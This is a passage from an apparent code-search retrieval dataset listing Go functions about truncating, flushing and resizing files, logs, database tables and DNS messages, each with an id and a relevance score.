_m.ctrl.Call(_m, \"Truncate\", namespace)\n\tret0, _ := ret[0].(int64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "2cbb4054a52eef8ec40052ab194a50e2", "score": "0.5563382", "text": "func (fh *RWFileHandle) Flush() error {\n\tfh.mu.Lock()\n\tfs.Debugf(fh.logPrefix(), \"RWFileHandle.Flush\")\n\tfh.updateSize()\n\tfh.mu.Unlock()\n\treturn nil\n}", "title": "" }, { "docid": "47921e7bd29a04474d9e4322af1cfbad", "score": "0.5546567", "text": "func TestLogTruncate(t *testing.T) {\n\tlog, path := setupLog(nil)\n\tif err := log.open(path); err != nil {\n\t\tt.Fatalf(\"Unable to open log: %v\", err)\n\t}\n\n\tdefer os.Remove(path)\n\n\tentry1, _ := newLogEntry(log, nil, 1, 1, &testCommand1{Val: \"foo\", I: 20})\n\tif err := log.appendEntry(entry1); err != nil {\n\t\tt.Fatalf(\"Unable to append: %v\", err)\n\t}\n\tentry2, _ := newLogEntry(log, nil, 2, 1, &testCommand2{X: 100})\n\tif err := log.appendEntry(entry2); err != nil {\n\t\tt.Fatalf(\"Unable to append: %v\", err)\n\t}\n\tentry3, _ := newLogEntry(log, nil, 3, 2, &testCommand1{Val: \"bar\", I: 0})\n\tif err := log.appendEntry(entry3); err != nil {\n\t\tt.Fatalf(\"Unable to append: %v\", err)\n\t}\n\tif err := log.setCommitIndex(2); err != nil {\n\t\tt.Fatalf(\"Unable to partially commit: %v\", err)\n\t}\n\n\t// Truncate committed entry.\n\tif err := log.truncate(1, 1); err == nil || err.Error() != \"raft.Log: Index is already committed (2): (IDX=1, TERM=1)\" {\n\t\tt.Fatalf(\"Truncating committed entries shouldn't work: %v\", err)\n\t}\n\t// Truncate past end of log.\n\tif err := log.truncate(4, 2); err == nil || err.Error() != \"raft.Log: Entry index does not exist (MAX=3): (IDX=4, TERM=2)\" {\n\t\tt.Fatalf(\"Truncating past end-of-log shouldn't work: %v\", err)\n\t}\n\t// Truncate entry with mismatched term.\n\tif err := log.truncate(2, 2); err == nil || err.Error() != \"raft.Log: Entry at index does not have matching term (1): (IDX=2, TERM=2)\" {\n\t\tt.Fatalf(\"Truncating mismatched entries shouldn't work: %v\", err)\n\t}\n\t// Truncate end of log.\n\tif err := log.truncate(3, 2); !(err == nil && reflect.DeepEqual(log.entries, []*LogEntry{entry1, entry2, entry3})) {\n\t\tt.Fatalf(\"Truncating end of log should work: %v\\n\\nEntries:\\nActual: %v\\nExpected: %v\", err, log.entries, []*LogEntry{entry1, entry2, entry3})\n\t}\n\t// Truncate at last commit.\n\tif err := log.truncate(2, 1); !(err == nil && reflect.DeepEqual(log.entries, []*LogEntry{entry1, entry2})) {\n\t\tt.Fatalf(\"Truncating at last commit should work: %v\\n\\nEntries:\\nActual: %v\\nExpected: %v\", err, log.entries, []*LogEntry{entry1, entry2})\n\t}\n\n\t// Append after truncate\n\tif err := log.appendEntry(entry3); err != nil {\n\t\tt.Fatalf(\"Unable to append after truncate: %v\", err)\n\t}\n\n\tlog.close()\n\n\t// Recovery the truncated log\n\tlog = newLog()\n\tif err := log.open(path); err != nil {\n\t\tt.Fatalf(\"Unable to open log: %v\", err)\n\t}\n\t// Validate existing log entries.\n\tif len(log.entries) != 3 {\n\t\tt.Fatalf(\"Expected 3 entries, got %d\", len(log.entries))\n\t}\n\tif log.entries[0].Index() != 1 || log.entries[0].Term() != 1 {\n\t\tt.Fatalf(\"Unexpected entry[0]: %v\", log.entries[0])\n\t}\n\tif log.entries[1].Index() != 2 || log.entries[1].Term() != 1 {\n\t\tt.Fatalf(\"Unexpected entry[1]: %v\", log.entries[1])\n\t}\n\tif log.entries[2].Index() != 3 || log.entries[2].Term() != 2 {\n\t\tt.Fatalf(\"Unexpected entry[2]: %v\", log.entries[2])\n\t}\n}", "title": "" }, { "docid": "100e86e91f53fdc9886eb320d5179e84", "score": "0.5545387", "text": "func (f *File) OverwriteSized(in io.Reader, _ int64) (*File, *http.Response, error) {\n\treturn f.Overwrite(in)\n}", "title": "" }, { "docid": "3e7a1341e4722d8ec2da89560abaf6a5", "score": "0.55420774", "text": "func (this *diskIo) truncateFileBeforeId(fileName string, id uint64, elem *diskElem, pos uint64) (string, error) {\n\tnewFileName := this.getFileNameByStartId(id)\n\t//fmt.Println(\"old filename, newfilename:\", fileName, newFileName)\n\n\toldFile, err := os.OpenFile(fileName, os.O_RDONLY, 0)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer oldFile.Close()\n\n\t_, err = oldFile.Seek(int64(pos), 0)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnewFile, err := os.Create(newFileName)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer newFile.Close()\n\n\t//convert start elem to buffer\n\telemBuff := make([]byte, DATA_BLOCK_SIZE)\n\tbinary.BigEndian.PutUint64(elemBuff[DATA_STARTID_POS : DATA_STARTID_POS+ID_LEN], elem.startId)\n\tbinary.BigEndian.PutUint64(elemBuff[DATA_ENDID_POS : DATA_ENDID_POS+ID_LEN], elem.endId)\n\tbinary.BigEndian.PutUint64(elemBuff[DATA_BUFFLEN_POS : DATA_BUFFLEN_POS+SIZE_LEN], uint64(len(elem.buff)))\n\tcopy(elemBuff[DATA_BUFF_POS : DATA_BUFF_POS+uint64(len(elem.buff))], elem.buff)\n\n\t// write to new file\n\tn, err := newFile.Write(elemBuff)\n\tif err != nil {\n\t\treturn \"\", err\n\t} else if uint64(n) != DATA_BLOCK_SIZE {\n\t\treturn \"\", errors.New(\"write elem failed\")\n\t}\n\n\t// loop copy\n\tbuff := make([]byte, IDX_MAX_SECTION_SIZE)\n\tfor {\n\t\t// read\n\t\tnRead, rdErr := oldFile.Read(buff)\n\t\tif rdErr != nil && rdErr != io.EOF {\n\t\t\treturn \"\", rdErr\n\t\t}\n\n\t\t// write\n\t\tnWrite, wrErr := newFile.Write(buff[0 : nRead])\n\t\tif wrErr != nil {\n\t\t\treturn \"\", wrErr\n\t\t} else if nWrite != nRead {\n\t\t\treturn \"\", errors.New(fmt.Sprintf(\"write file error, need to write %d, but actually write %d\\n\", nRead, nWrite))\n\t\t}\n\n\t\t// break if EOF\n\t\tif rdErr == io.EOF || uint64(nRead) != IDX_MAX_SECTION_SIZE {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn newFileName, nil\n}", "title": "" }, { "docid": "3cd1a0873e98eb3638ff9777528dd69d", "score": "0.5535229", "text": "func SetTruncationPath(highestDirectory string) {\n\ttruncateFilepathsByLastIndexof = highestDirectory\n}", "title": "" }, { "docid": "c0b7c7105b4a476c878875a13b4451de", "score": "0.5534369", "text": "func (s *storeTx) Truncate() error {\n\tselect {\n\tcase <-s.tx.ctx.Done():\n\t\treturn s.tx.ctx.Err()\n\tdefault:\n\t}\n\n\tif !s.tx.writable {\n\t\treturn errors.Wrap(engine.ErrTransactionReadOnly)\n\t}\n\n\told := s.tr\n\ts.tr = btree.New(btreeDegree)\n\n\t// on rollback replace the new tree by the old one.\n\ts.tx.onRollback = append(s.tx.onRollback, func() {\n\t\ts.tr = old\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "621545b62dc1f30c47fe0b79f1bd45f5", "score": "0.5533403", "text": "func Truncate(input string, outputLength int) string {\n\tif len(input) <= outputLength {\n\t\treturn input\n\t}\n\treturn input[:outputLength]\n}", "title": "" }, { "docid": "2e31067dbadaaeff51193be6bc5cabda", "score": "0.55105096", "text": "func Truncate(s *pb.Span) {\n\t// Resource\n\tif len(s.Resource) > MaxResourceLen {\n\t\ts.Resource = traceutil.TruncateUTF8(s.Resource, MaxResourceLen)\n\t\tlog.Debugf(\"span.truncate: truncated `Resource` (max %d chars): %s\", MaxResourceLen, s.Resource)\n\t}\n\t// Error - Nothing to do\n\t// Optional data, Meta & Metrics can be nil\n\t// Soft fail on those\n\tfor k, v := range s.Meta {\n\t\tmodified := false\n\n\t\tif len(k) > MaxMetaKeyLen {\n\t\t\tlog.Debugf(\"span.truncate: truncating `Meta` key (max %d chars): %s\", MaxMetaKeyLen, k)\n\t\t\tdelete(s.Meta, k)\n\t\t\tk = traceutil.TruncateUTF8(k, MaxMetaKeyLen) + \"...\"\n\t\t\tmodified = true\n\t\t}\n\n\t\tif len(v) > MaxMetaValLen {\n\t\t\tv = traceutil.TruncateUTF8(v, MaxMetaValLen) + \"...\"\n\t\t\tmodified = true\n\t\t}\n\n\t\tif modified {\n\t\t\ts.Meta[k] = v\n\t\t}\n\t}\n\tfor k, v := range s.Metrics {\n\t\tif len(k) > MaxMetricsKeyLen {\n\t\t\tlog.Debugf(\"span.truncate: truncating `Metrics` key (max %d chars): %s\", MaxMetricsKeyLen, k)\n\t\t\tdelete(s.Metrics, k)\n\t\t\tk = traceutil.TruncateUTF8(k, MaxMetricsKeyLen) + \"...\"\n\n\t\t\ts.Metrics[k] = v\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a2d4bc43e3c54dc1a0eedbb1b1d981e8", "score": "0.5493902", "text": "func (e Explorer) Truncate() error {\n\tc := e.Db.Database(e.DbName).Collection(e.DbCollection)\n\t_, err := c.DeleteMany(context.Background(), bson.D{})\n\n\treturn err\n}", "title": "" }, { "docid": "bd2f9e8ac893daf8405ce45710d79ce3", "score": "0.5487388", "text": "func (ms *mergeSort) SetTruncateColumnCount(count int) {\n\tms.truncateColumnCount = count\n}", "title": "" }, { "docid": "88fb1970c7d97eab68009fd80f327376", "score": "0.5399752", "text": "func Truncate(db db.DB) error {\n\tif _, err := db.Exec(context.Background(), \"TRUNCATE TABLE uploads;\"); err != nil {\n\t\treturn fmt.Errorf(\"Error truncating database - %s\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8015e299ac4fc140c594724b9c09b4cf", "score": "0.539893", "text": "func truncate(s string, maxBytes uint64) string {\n\tif maxBytes <= 0 {\n\t\treturn s\n\t}\n\n\tbytesToTruncate := len(s) - int(maxBytes)\n\tif bytesToTruncate > 0 {\n\t\ts = s[:maxBytes]\n\t\ts = fmt.Sprintf(\"%s...(truncated %d bytes)\", s, bytesToTruncate)\n\t}\n\n\treturn s\n}", "title": "" }, { "docid": "1266d3aeff6ac03818f15ee9fe57980d", "score": "0.53689885", "text": "func Truncate(ctx context.Context, tx *sql.Tx, unsafeTable string, verbose bool) error {\n\tres, err := tx.ExecContext(ctx, `DELETE FROM `+unsafeTable)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif verbose {\n\t\taffected, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Fprintf(OutVerb, \"Removed %d existing %s items\\n\", affected, unsafeTable)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "86160f3e700d67c17f5847247703d319", "score": "0.5355845", "text": "func (file *File) Flush() error {\n\treturn file.Buf.Flush()\n}", "title": "" }, { "docid": "65c29406a8ae8c0e33b357d7550499d8", "score": "0.5354653", "text": "func (this *diskIo) truncateAfter(id uint64) error {\n\t//var resultElem *diskElem = nil\n\tfor fileName, indexInfo := range this.idxMgr.mapIndex {\n\t\tif indexInfo.meta.minId > id { // minId > id, delete all records\n\t\t\terr := os.Remove(fileName)\n\t\t\tif err != nil {\n\t\t\t\t//return nil, err\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// delete index file\n\t\t\terr = this.deleteIndexByFile(fileName)\n\t\t\tif err != nil {\n\t\t\t\t//return nil, err\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else if indexInfo.meta.maxId < id && indexInfo.meta.maxId != 0 { // maxId < id && maxId != 0, keep all records\n\t\t\tcontinue\n\t\t} else { // delete tail part, keeps [minId, id]\n\t\t\t// get exactly pos\n\t\t\telem, pos, err := this.getStartPosById(fileName, id)\n\t\t\tif err != nil {\n\t\t\t\t//return nil, err\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t//resultElem = elem\n\t\t\t//fmt.Printf(\"getStartPosById, pos:%x\\n\", pos)\n\t\t\t//fmt.Println(\"elem is :\", elem.startId, elem.endId, string(elem.buff))\n\n\t\t\t// update the elem's endId\n\t\t\telem.endId = id\n\n\t\t\terr = this.truncateFileAfterElem(fileName, elem, pos)\n\t\t\tif err != nil {\n\t\t\t\t//return nil, err\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// delete old index\n\t\t\terr = this.deleteIndexByFile(fileName)\n\t\t\tif err != nil {\n\t\t\t\t//return nil, err\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// build new index\n\t\t\terr = this.buildIndexByFile(fileName)\n\t\t\tif err != nil {\n\t\t\t\t//return nil, err\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\terr := this.updateLastFile()\n\tif err != nil {\n\t\t//return nil, err\n\t\treturn err\n\t}\n\n\t//return resultElem, nil\n\treturn nil\n}", "title": "" }, { "docid": "070358690642e117a52bd67f19d96480", "score": "0.53377676", "text": "func (dns *Msg) Truncate(size int) {\n\tif dns.IsTsig() != nil {\n\t\t// To simplify this implementation, we don't perform\n\t\t// truncation on responses with a TSIG record.\n\t\treturn\n\t}\n\n\t// RFC 6891 mandates that the payload size in an OPT record\n\t// less than 512 (MinMsgSize) bytes must be treated as equal to 512 bytes.\n\t//\n\t// For ease of use, we impose that restriction here.\n\tif size < MinMsgSize {\n\t\tsize = MinMsgSize\n\t}\n\n\tl := msgLenWithCompressionMap(dns, nil) // uncompressed length\n\tif l <= size {\n\t\t// Don't waste effort compressing this message.\n\t\tdns.Compress = false\n\t\treturn\n\t}\n\n\tdns.Compress = true\n\n\tedns0 := dns.popEdns0()\n\tif edns0 != nil {\n\t\t// Account for the OPT record that gets added at the end,\n\t\t// by subtracting that length from our budget.\n\t\t//\n\t\t// The EDNS(0) OPT record must have the root domain and\n\t\t// it's length is thus unaffected by compression.\n\t\tsize -= Len(edns0)\n\t}\n\n\tcompression := make(map[string]struct{})\n\n\tl = headerSize\n\tfor _, r := range dns.Question {\n\t\tl += r.len(l, compression)\n\t}\n\n\tvar numAnswer int\n\tif l < size {\n\t\tl, numAnswer = truncateLoop(dns.Answer, size, l, compression)\n\t}\n\n\tvar numNS int\n\tif l < size {\n\t\tl, numNS = truncateLoop(dns.Ns, size, l, compression)\n\t}\n\n\tvar numExtra int\n\tif l < size {\n\t\t_, numExtra = truncateLoop(dns.Extra, size, l, compression)\n\t}\n\n\t// See the function documentation for when we set this.\n\tdns.Truncated = dns.Truncated || len(dns.Answer) > numAnswer ||\n\t\tlen(dns.Ns) > numNS || len(dns.Extra) > numExtra\n\n\tdns.Answer = dns.Answer[:numAnswer]\n\tdns.Ns = dns.Ns[:numNS]\n\tdns.Extra = dns.Extra[:numExtra]\n\n\tif edns0 != nil {\n\t\t// Add the OPT record back onto the additional section.\n\t\tdns.Extra = append(dns.Extra, edns0)\n\t}\n}", "title": "" }, { "docid": "267ed9e679850c7fc2c53f000a14a776", "score": "0.53349155", "text": "func (i *inconsistencyApp) Truncate() error {\n\treturn i.repo.Truncate()\n}", "title": "" }, { "docid": "31e16ef4a868fab5dae45b9a3a5658e5", "score": "0.5315898", "text": "func AppendTruncateAll(dst string, src string) error {\n\treturn CopyTruncateFileAll(dst, src, DefaultFlagCreateAppend, DefaultPermissionDirectory, DefaultPermissionFile, 0)\n}", "title": "" }, { "docid": "dce76e0f227606092c80822440915861", "score": "0.5286244", "text": "func (e *ext) createEmpty(path string, size int64) (err error) {\n\tif !filepath.IsAbs(path) {\n\t\treturn fmt.Errorf(\"please specify absolute path (%s)\", path)\n\t}\n\tif _, err = os.Stat(path); !os.IsNotExist(err) {\n\t\treturn\n\t}\n\tfile, err := common.TruncFile(path)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer file.Close()\n\terr = syscall.Fallocate(int(file.Fd()), 0, 0, size)\n\tif err != nil {\n\t\te, ok := err.(syscall.Errno)\n\t\tif ok && (e == syscall.ENOSYS || e == syscall.EOPNOTSUPP) {\n\t\t\tlog.Debugf(\n\t\t\t\t\"Warning: Fallocate not supported, attempting Truncate: \", e)\n\t\t\terr = file.Truncate(size)\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "c4f0432c846639aa970b9e95806f4bc9", "score": "0.5284684", "text": "func (i *index) Close() error {\n\t// REVIEW\n\tif err := i.mmap.Sync(gommap.MS_SYNC); err != nil {\n\t\treturn err\n\t}\n\tif err := i.file.Sync(); err != nil {\n\t\treturn err\n\t}\n\tif err := i.file.Truncate(int64(i.size)); err != nil {\n\t\treturn err\n\t}\n\treturn i.file.Close()\n}", "title": "" }, { "docid": "9c682eb183f0f61feea523a37105133d", "score": "0.5255913", "text": "func (l *commitLog) Truncate(offset int64) error {\n\tl.mu.Lock()\n\tdefer l.mu.Unlock()\n\tseg, idx := findSegment(l.segments, offset)\n\tif seg == nil {\n\t\t// Nothing to truncate.\n\t\treturn nil\n\t}\n\n\t// Delete all following segments.\n\tdeleted := 0\n\tfor i := idx + 1; i < len(l.segments); i++ {\n\t\tif err := l.segments[i].Delete(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdeleted++\n\t}\n\n\tvar replace bool\n\n\t// Delete the segment if its base offset is the target offset, provided\n\t// it's not the first segment.\n\tif seg.BaseOffset == offset {\n\t\tif idx == 0 {\n\t\t\treplace = true\n\t\t} else {\n\t\t\tif err := seg.Delete(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdeleted++\n\t\t}\n\t} else {\n\t\treplace = true\n\t}\n\n\t// Retain all preceding segments.\n\tsegments := make([]*segment, len(l.segments)-deleted)\n\tfor i := 0; i < idx; i++ {\n\t\tsegments[i] = l.segments[i]\n\t}\n\n\t// Replace segment containing offset with truncated segment.\n\tif replace {\n\t\tvar (\n\t\t\tss = newSegmentScanner(seg)\n\t\t\tnewSegment, err = seg.Truncated()\n\t\t)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor ms, e, err := ss.Scan(); err == nil; ms, e, err = ss.Scan() {\n\t\t\tif ms.Offset() < offset {\n\t\t\t\tif err := newSegment.WriteMessageSet(ms, []*entry{e}); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif err = newSegment.Replace(seg); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsegments[idx] = newSegment\n\t}\n\tactiveSegment := segments[len(segments)-1]\n\tatomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(&l.vActiveSegment)),\n\t\tunsafe.Pointer(activeSegment))\n\tl.segments = segments\n\treturn l.leaderEpochCache.ClearLatest(offset)\n}", "title": "" }, { "docid": "ccc6c7855acaca22fa9b9b0d0dcefa57", "score": "0.5248758", "text": "func (d *DB) truncateSharedFile(\n\tctx context.Context,\n\tlower, upper []byte,\n\tlevel int,\n\tfile *fileMetadata,\n\tobjMeta objstorage.ObjectMetadata,\n) (sst *SharedSSTMeta, shouldSkip bool, err error) {\n\tcmp := d.cmp\n\tsst = &SharedSSTMeta{}\n\tsst.cloneFromFileMeta(file)\n\tsst.Level = uint8(level)\n\tsst.Backing, err = d.objProvider.RemoteObjectBacking(&objMeta)\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\tneedsLowerTruncate := cmp(lower, file.Smallest.UserKey) > 0\n\tneedsUpperTruncate := cmp(upper, file.Largest.UserKey) < 0 || (cmp(upper, file.Largest.UserKey) == 0 && !file.Largest.IsExclusiveSentinel())\n\t// Fast path: file is entirely within [lower, upper).\n\tif !needsLowerTruncate && !needsUpperTruncate {\n\t\treturn sst, false, nil\n\t}\n\n\t// We will need to truncate file bounds in at least one direction. Open all\n\t// relevant iterators.\n\titer, rangeDelIter, err := d.newIters(ctx, file, &IterOptions{\n\t\tLowerBound: lower,\n\t\tUpperBound: upper,\n\t\tlevel: manifest.Level(level),\n\t}, internalIterOpts{})\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\tdefer iter.Close()\n\tif rangeDelIter != nil {\n\t\trangeDelIter = keyspan.Truncate(\n\t\t\tcmp, rangeDelIter, lower, upper, nil, nil,\n\t\t\tfalse, /* panicOnUpperTruncate */\n\t\t)\n\t\tdefer rangeDelIter.Close()\n\t}\n\trangeKeyIter, err := d.tableNewRangeKeyIter(file, keyspan.SpanIterOptions{})\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\tif rangeKeyIter != nil {\n\t\trangeKeyIter = keyspan.Truncate(\n\t\t\tcmp, rangeKeyIter, lower, upper, nil, nil,\n\t\t\tfalse, /* panicOnUpperTruncate */\n\t\t)\n\t\tdefer rangeKeyIter.Close()\n\t}\n\t// Check if we need to truncate on the left side. This means finding a new\n\t// LargestPointKey and LargestRangeKey that is >= lower.\n\tif needsLowerTruncate {\n\t\tsst.SmallestPointKey.UserKey = sst.SmallestPointKey.UserKey[:0]\n\t\tsst.SmallestPointKey.Trailer = 0\n\t\tkey, _ := iter.SeekGE(lower, base.SeekGEFlagsNone)\n\t\tfoundPointKey := key != nil\n\t\tif key != nil {\n\t\t\tsst.SmallestPointKey.CopyFrom(*key)\n\t\t}\n\t\tif rangeDelIter != nil {\n\t\t\tspan := rangeDelIter.SeekGE(lower)\n\t\t\tif span != nil && (len(sst.SmallestPointKey.UserKey) == 0 || base.InternalCompare(cmp, span.SmallestKey(), sst.SmallestPointKey) < 0) {\n\t\t\t\tsst.SmallestPointKey.CopyFrom(span.SmallestKey())\n\t\t\t\tfoundPointKey = true\n\t\t\t}\n\t\t}\n\t\tif !foundPointKey {\n\t\t\t// There are no point keys in the span we're interested in.\n\t\t\tsst.SmallestPointKey = InternalKey{}\n\t\t\tsst.LargestPointKey = InternalKey{}\n\t\t}\n\t\tsst.SmallestRangeKey.UserKey = sst.SmallestRangeKey.UserKey[:0]\n\t\tsst.SmallestRangeKey.Trailer = 0\n\t\tif rangeKeyIter != nil {\n\t\t\tspan := rangeKeyIter.SeekGE(lower)\n\t\t\tif span != nil {\n\t\t\t\tsst.SmallestRangeKey.CopyFrom(span.SmallestKey())\n\t\t\t} else {\n\t\t\t\t// There are no range keys in the span we're interested in.\n\t\t\t\tsst.SmallestRangeKey = InternalKey{}\n\t\t\t\tsst.LargestRangeKey = InternalKey{}\n\t\t\t}\n\t\t}\n\t}\n\t// Check if we need to truncate on the right side. This means finding a new\n\t// LargestPointKey and LargestRangeKey that is < upper.\n\tif needsUpperTruncate {\n\t\tsst.LargestPointKey.UserKey = sst.LargestPointKey.UserKey[:0]\n\t\tsst.LargestPointKey.Trailer = 0\n\t\tkey, _ := iter.SeekLT(upper, base.SeekLTFlagsNone)\n\t\tfoundPointKey := key != nil\n\t\tif key != nil {\n\t\t\tsst.LargestPointKey.CopyFrom(*key)\n\t\t}\n\t\tif rangeDelIter != nil {\n\t\t\tspan := rangeDelIter.SeekLT(upper)\n\t\t\tif span != nil && (len(sst.LargestPointKey.UserKey) == 0 || base.InternalCompare(cmp, span.LargestKey(), sst.LargestPointKey) > 0) {\n\t\t\t\tsst.LargestPointKey.CopyFrom(span.LargestKey())\n\t\t\t\tfoundPointKey = true\n\t\t\t}\n\t\t}\n\t\tif !foundPointKey {\n\t\t\t// There are no point keys in the span we're interested in.\n\t\t\tsst.SmallestPointKey = InternalKey{}\n\t\t\tsst.LargestPointKey = InternalKey{}\n\t\t}\n\t\tsst.LargestRangeKey.UserKey = sst.LargestRangeKey.UserKey[:0]\n\t\tsst.LargestRangeKey.Trailer = 0\n\t\tif rangeKeyIter != nil {\n\t\t\tspan := rangeKeyIter.SeekLT(upper)\n\t\t\tif span != nil {\n\t\t\t\tsst.LargestRangeKey.CopyFrom(span.LargestKey())\n\t\t\t} else {\n\t\t\t\t// There are no range keys in the span we're interested in.\n\t\t\t\tsst.SmallestRangeKey = InternalKey{}\n\t\t\t\tsst.LargestRangeKey = InternalKey{}\n\t\t\t}\n\t\t}\n\t}\n\t// Set overall bounds based on {Smallest,Largest}{Point,Range}Key.\n\tswitch {\n\tcase len(sst.SmallestRangeKey.UserKey) == 0:\n\t\tsst.Smallest = sst.SmallestPointKey\n\tcase len(sst.SmallestPointKey.UserKey) == 0:\n\t\tsst.Smallest = sst.SmallestRangeKey\n\tdefault:\n\t\tsst.Smallest = sst.SmallestPointKey\n\t\tif base.InternalCompare(cmp, sst.SmallestRangeKey, sst.SmallestPointKey) < 0 {\n\t\t\tsst.Smallest = sst.SmallestRangeKey\n\t\t}\n\t}\n\tswitch {\n\tcase len(sst.LargestRangeKey.UserKey) == 0:\n\t\tsst.Largest = sst.LargestPointKey\n\tcase len(sst.LargestPointKey.UserKey) == 0:\n\t\tsst.Largest = sst.LargestRangeKey\n\tdefault:\n\t\tsst.Largest = sst.LargestPointKey\n\t\tif base.InternalCompare(cmp, sst.LargestRangeKey, sst.LargestPointKey) > 0 {\n\t\t\tsst.Largest = sst.LargestRangeKey\n\t\t}\n\t}\n\t// On rare occasion, a file might overlap with [lower, upper) but not actually\n\t// have any keys within those bounds. Skip such files.\n\tif len(sst.Smallest.UserKey) == 0 {\n\t\treturn nil, true, nil\n\t}\n\tsst.Size, err = d.tableCache.estimateSize(file, sst.Smallest.UserKey, sst.Largest.UserKey)\n\tif err != nil {\n\t\treturn nil, false, err\n\t}\n\t// On occasion, estimateSize gives us a low estimate, i.e. a 0 file size. This\n\t// can cause panics in places where we divide by file sizes. Correct for it\n\t// here.\n\tif sst.Size == 0 {\n\t\tsst.Size = 1\n\t}\n\treturn sst, false, nil\n}", "title": "" }, { "docid": "3725d64d0c9e5e66194a8e9c71aa787d", "score": "0.5235917", "text": "func TruncFileWithString(path, data string) error {\n\tf, err := os.OpenFile(path, os.O_RDWR | os.O_TRUNC, os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = f.WriteString(data)\n\tf.Close()\n\treturn err\n}", "title": "" }, { "docid": "81b31c94c2afa7c91ca98af8005fcb30", "score": "0.52343696", "text": "func (oc *OrderingChoice) Truncate(prefix int) {\n\tif prefix < len(oc.Columns) {\n\t\toc.Columns = oc.Columns[:prefix]\n\t\tif len(oc.Columns) == 0 {\n\t\t\t// Normalize Any case by dropping any optional columns.\n\t\t\toc.Optional = opt.ColSet{}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5e4231976eba4489054582ed03d92e16", "score": "0.5228705", "text": "func (s *Store) truncate(targetTable string) error {\n\treturn s.LocalDb.Truncate(bucket, targetTable)\n}", "title": "" }, { "docid": "7b66b473dc35423cddff6f65b9541dbf", "score": "0.5227394", "text": "func (m *MemoryStorage) TruncateLog(groupID GroupID, lastIndex int) error {\n\tpanic(\"unimplemented\")\n}", "title": "" }, { "docid": "7f4b0bb894929f745fc4907e14ac1f62", "score": "0.5216157", "text": "func writeFile(f *os.File, str string) error {\n\tif _, err := f.Seek(0, io.SeekStart); err != nil {\n\t\treturn err\n\t}\n\tif _, err := f.Write([]byte(str)); err != nil {\n\t\treturn err\n\t}\n\tif err := f.Truncate(int64(len(str))); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "07a91513a87e524f11adc813e82d8388", "score": "0.52115345", "text": "func (users *Users) Truncate() {\n\n\tusers.mu.Lock()\n\tdefer users.mu.Unlock()\n\tusers.Row = make(map[string]*User)\n\tusers.today = today()\n}", "title": "" }, { "docid": "a0c72576d2242ee9fbe6f653a0422470", "score": "0.5208475", "text": "func (r *BaseCopyableFile) SetLength(length int) {\n\tr.length = length\n}", "title": "" }, { "docid": "184c1afc8142ad1b1a35860840b6e05e", "score": "0.5206719", "text": "func (e Extent) Truncate(m Extent) Extent {\n\treturn Extent(truncateExtent(int64(e), int64(m)))\n}", "title": "" }, { "docid": "02bbcd766fcca322a3d48601f1773dbd", "score": "0.5158976", "text": "func (s *shortWriter) Reset(size int) {\n\ts.buf.Reset()\n\ts.size = 0\n\ts.maxSize = size\n}", "title": "" }, { "docid": "2fcc3cb226e60f06d357215bf77bf795", "score": "0.5143548", "text": "func (db *Database) Truncate() error {\n\tnames, err := db.getAllTables()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar tablenames []string\n\tfor _, name := range names {\n\t\ttablenames = append(tablenames, `\"`+name+`\"`)\n\t}\n\n\t_, err = db.Exec(`\n\t\tTRUNCATE TABLE ` + strings.Join(tablenames, \", \") + `\n\t\tCASCADE\n\t`)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "aaea567decfc9a3d79e9687cd9340460", "score": "0.5112681", "text": "func (oa *OrderedAggregate) SetTruncateColumnCount(count int) {\n\toa.TruncateColumnCount = count\n}", "title": "" }, { "docid": "f645546a873c31b7eb490d4c227db687", "score": "0.5111185", "text": "func TruncateTo(in string, outmaxlen int) string {\n\tif len(in) <= outmaxlen {\n\t\treturn in\n\t}\n\treturn in[:outmaxlen-3] + \"...\"\n}", "title": "" }, { "docid": "fb56b4e9c04c10f6efe3977013eddf6a", "score": "0.5093961", "text": "func (s *children) truncate(index int) {\n\tvar toClear children\n\t*s, toClear = (*s)[:index], (*s)[index:]\n\tfor len(toClear) > 0 {\n\t\ttoClear = toClear[copy(toClear, make(children, 16)):]\n\t}\n}", "title": "" }, { "docid": "48727b1e59dfcfd5f3eed06d19ba1445", "score": "0.5081944", "text": "func (m *FileImpl) Flush(flags int) error {\n\t_, _, err := syscall.Syscall(syscall.SYS_MSYNC,\n\t\tuintptr(unsafe.Pointer(&m.data[0])), uintptr(m.length), uintptr(flags))\n\tif err != 0 {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "90699d34022b44a4606fea54619052f7", "score": "0.5079883", "text": "func (fh *FileHandler) SetSize(size uint) 